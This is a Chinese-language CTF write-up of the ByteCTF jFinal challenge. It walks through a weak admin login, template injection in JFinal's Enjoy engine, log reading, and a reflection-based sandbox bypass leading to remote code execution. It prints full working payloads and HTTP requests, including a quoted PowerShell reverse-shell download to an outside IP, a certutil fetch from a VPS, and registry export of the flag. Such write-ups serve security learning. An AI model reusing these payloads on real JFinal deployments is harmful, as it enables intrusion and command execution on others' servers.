ByteCTF jFinal
1.配置本地环境
看sql语句没新建数据库,先创建一个database名为jfinal_blog
1
| create database jfinal_blog;
|
改变/config/app-config-dev.txt里面的mysql密码为本地mysql的:

在mysql的shell中,导入后缀为.sql的文件
启动环境
如果想抓包,这里就不要访问 127.0.0.1:30000,因为本地回环网卡burpsuite是抓不到的。
这里看ipconfig后得知本机ip是192.168.43.252,所以访问http://192.168.43.252:30000/然后开一般的代理就能抓到包。
2.题目环境打通
/admin路由 后台默认弱口令 jFinal 111111
审计+黑盒,发现新建博客的内容编辑处有ssti,ssti的poc是 #(2*2) 就会被渲染为 4
关注模板用法 offical document https://jfinal.com/doc/6-4 :
- include指令用于将外部模板内容包含进来,被包含的内容会被解析成为当前模板中的一部分进行使用,如下是代码示例:
1
| >#include("sidebar.html")
|
\#include 指令第一个参数必须为 String 常量,当以 ”/” 打头时将以 baseTemplatePath 为相对路径去找文件,否则将以使用 #include 指令的当前模板的路径为相对路径去找文件。\
- render指令在使用上与include指令几乎一样
这里在burpsuite中使用#include()或者#render()读到log文件里面别人打的 大概知道别人的方法是需要反射来绕过沙箱,类似于安全客这篇分析:https://www.anquanke.com/post/id/151398#h3-6
请求的内容
1
| blog.title=123&blog.content=#include("../log/jfinal-blog.log")
|
或者
1
| blog.title=123&blog.content=#render("../log/jfinal-blog.log")
|
发现别人的payload,这里应该是别人打错了才会抛出错误类型和源语句,打通的话不保留的:

读log的完整报文:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /admin/blog/preview HTTP/1.1 Host: 192.168.43.252:30000 Content-Length: 67 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.43.252:30000 Referer: http://192.168.43.252:30000/admin/blog/add Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: sessionId=f0b56f4cce334eda98d7d243da59d538 Connection: close
blog.title=123&blog.content=#include("../log/jfinal-blog.log")
|

这个选手为什么能考虑到需要去反射绕过呢,代码审计看到,因为这里有springsecurity机制:

学习这里的姿势: https://p1n93r.github.io/post/code_audit/jfinal_enjoy_template_engine%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/ 但题目没有这个库:org.apache.commons.lang3.reflect.ConstructorUtils::invokeConstructor
在代码审计中发现一处类的调用 ClassLoaderUtil
也就是 net.sf.ehcache.util.ClassLoaderUtil::createNewInstance

但上述博客后面的方法可以参考: https://p1n93r.github.io/post/code_audit/jfinal_enjoy_template_engine%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/ 文章结尾处
1 2 3 4
| #set(x=(java.net.URLClassLoader::getSystemClassLoader()).loadClass("javax.script.ScriptEngineManager")) #set(payload="powershell -nop -exec bypass -c \\"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 49.234.105.98 -Port 7777\\"") #set(poc="java.lang.Runtime.getRuntime().exec(\""+payload+"\")") #((org.apache.commons.lang3.reflect.ConstructorUtils::invokeConstructor(x)).getEngineByExtension("js").eval(poc))
|
也就是,利用 ScriptEngineManager获取JS脚本引擎,再通过 eval()动态执行java.lang.Runtime.getRuntime().exec(),来执行命令
这里就使用的getEngineByExtension('js').eval(poc)方法来执行代码
使用静态类 net.sf.ehcache.util.ClassLoaderUtil::createNewInstance 拿到 javax.script.ScriptEngineManager 再使用反射RCE
payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| blog.title=${{123}}&blog.content=#set(poc=" var clz = Java.type('java.lang.String[]').class; var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class; var bclz = Java.type('boolean').class; var pclz = Java.type('java.lang.ProcessImpl').class; var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class,2); java.lang.reflect.Array.set(cmd,0,'touch'); java.lang.reflect.Array.set(cmd,1,'/tmp/pwned'); var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz); m.setAccessible(true); print(m); m.invoke(null,cmd, null, null,null ,false); ") #((net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager")).getEngineByExtension('js').eval(poc))
|
再用批处理脚本导出flag,在vps上写个bat文件
1
| reg export HKEY_CURRENT_USER\ByteCTF C:/Users/ctf/jfinal-blog/jfinal-blog/webapp/1.reg
|
先把批处理脚本下载到web目录下 测试下访问性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| POST /admin/blog/preview HTTP/1.1 Host: 39.105.169.140:30000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://39.105.169.140:30000/admin/blog/add Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 1081 Origin: http://39.105.169.140:30000 Connection: close Cookie: sessionId=e7c0e2d6fa484e2fb8851461e2a30e1f X-Forwarded-For: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1
blog.title=${{123}}&blog.content= var clz = Java.type('java.lang.String[]').class; var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class; var bclz = Java.type('boolean').class; var pclz = Java.type('java.lang.ProcessImpl').class; var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class,8); java.lang.reflect.Array.set(cmd,0,'cmd'); java.lang.reflect.Array.set(cmd,1,'/c'); java.lang.reflect.Array.set(cmd,2,'certutil.exe'); java.lang.reflect.Array.set(cmd,3,'-urlcache'); java.lang.reflect.Array.set(cmd,4,'-split'); java.lang.reflect.Array.set(cmd,5,'-f'); java.lang.reflect.Array.set(cmd,6,'http://your vps/bat'); java.lang.reflect.Array.set(cmd,7,'C:/Users/ctf/jfinal-blog/jfinal-blog/webapp/1.bat');
var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz); m.setAccessible(true); print(m); m.invoke(null,cmd, null, null,null ,false); ") #((net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager")).getEngineByExtension('js').eval(poc))
|
然后执行这个批处理文件 把flag写到web目录下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| POST /admin/blog/preview HTTP/1.1 Host: 39.105.169.140:30000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://39.105.169.140:30000/admin/blog/add Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 830 Origin: http://39.105.169.140:30000 Connection: close Cookie: sessionId=e7c0e2d6fa484e2fb8851461e2a30e1f X-Forwarded-For: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1
blog.title=${{123}}&blog.content= var clz = Java.type('java.lang.String[]').class; var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class; var bclz = Java.type('boolean').class; var pclz = Java.type('java.lang.ProcessImpl').class; var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class,3); java.lang.reflect.Array.set(cmd,0,'cmd.exe'); java.lang.reflect.Array.set(cmd,1,'/c'); java.lang.reflect.Array.set(cmd,2,'C:/Users/ctf/jfinal-blog/jfinal-blog/webapp/1.bat'); var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz); m.setAccessible(true); print(m); m.invoke(null,cmd, null, null,null ,false); ") #((net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager")).getEngineByExtension('js').eval(poc))
|
访问 http://url/1.reg 下载reg文件即可得到flag bytectf{Exploit_JVM_ToBypassSandbox}
这里不用vps远程下载,直接导出到web目录也行:
1 2 3 4 5 6
| java.lang.reflect.Array.set(cmd,0,'cmd.exe'); java.lang.reflect.Array.set(cmd,1,'/c'); java.lang.reflect.Array.set(cmd,2,'reg'); java.lang.reflect.Array.set(cmd,3,'export'); java.lang.reflect.Array.set(cmd,4,'HKEY_CURRENT_USER\ByteCTF'); java.lang.reflect.Array.set(cmd,5,'C:/Users/ctf/jfinal-blog/jfinal-blog/webapp/1.reg');
|
修改为本地弹计算器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| POST /admin/blog/preview HTTP/1.1 Host: 192.168.43.252:30000 Content-Length: 785 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.43.252:30000 Referer: http://192.168.43.252:30000/admin/blog/add Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: sessionId=f0b56f4cce334eda98d7d243da59d538 Connection: close
blog.title=${{123}}&blog.content= var clz = Java.type('java.lang.String[]').class; var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class; var bclz = Java.type('boolean').class; var pclz = Java.type('java.lang.ProcessImpl').class; var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class,3); java.lang.reflect.Array.set(cmd,0,'cmd'); java.lang.reflect.Array.set(cmd,1,'/c'); java.lang.reflect.Array.set(cmd,2,'calc.exe'); var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz); m.setAccessible(true); print(m); m.invoke(null,cmd, null, null,null ,false); ") #((net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager")).getEngineByExtension('js').eval(poc))
|
如果不换行,触发log则会记录完整的payload,会让别人蹭车:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /admin/blog/preview HTTP/1.1 Host: 192.168.43.252:30000 Content-Length: 760 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.43.252:30000 Referer: http://192.168.43.252:30000/admin/blog/add Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: sessionId=f0b56f4cce334eda98d7d243da59d538 Connection: close
blog.title=${{123}}&blog.content=#set(poc="var clz = Java.type('java.lang.String[]').class;var rclz = Java.type('java.lang.ProcessBuilder.Redirect[]').class;var bclz = Java.type('boolean').class;var pclz = Java.type('java.lang.ProcessImpl').class;var cmd = java.lang.reflect.Array.newInstance(java.lang.String.class,3);java.lang.reflect.Array.set(cmd,0,'cmd');java.lang.reflect.Array.set(cmd,1,'/c');java.lang.reflect.Array.set(cmd,2,'calc.exe');var m = pclz.getDeclaredMethod('start', clz, java.util.Map.class, java.lang.String.class, rclz, bclz);m.setAccessible(true);print(m);m.invoke(null,cmd, null, null,null ,false)';") #((net.sf.ehcache.util.ClassLoaderUtil::createNewInstance("javax.script.ScriptEngineManager")).getEngineByExtension('js').eval(poc))
|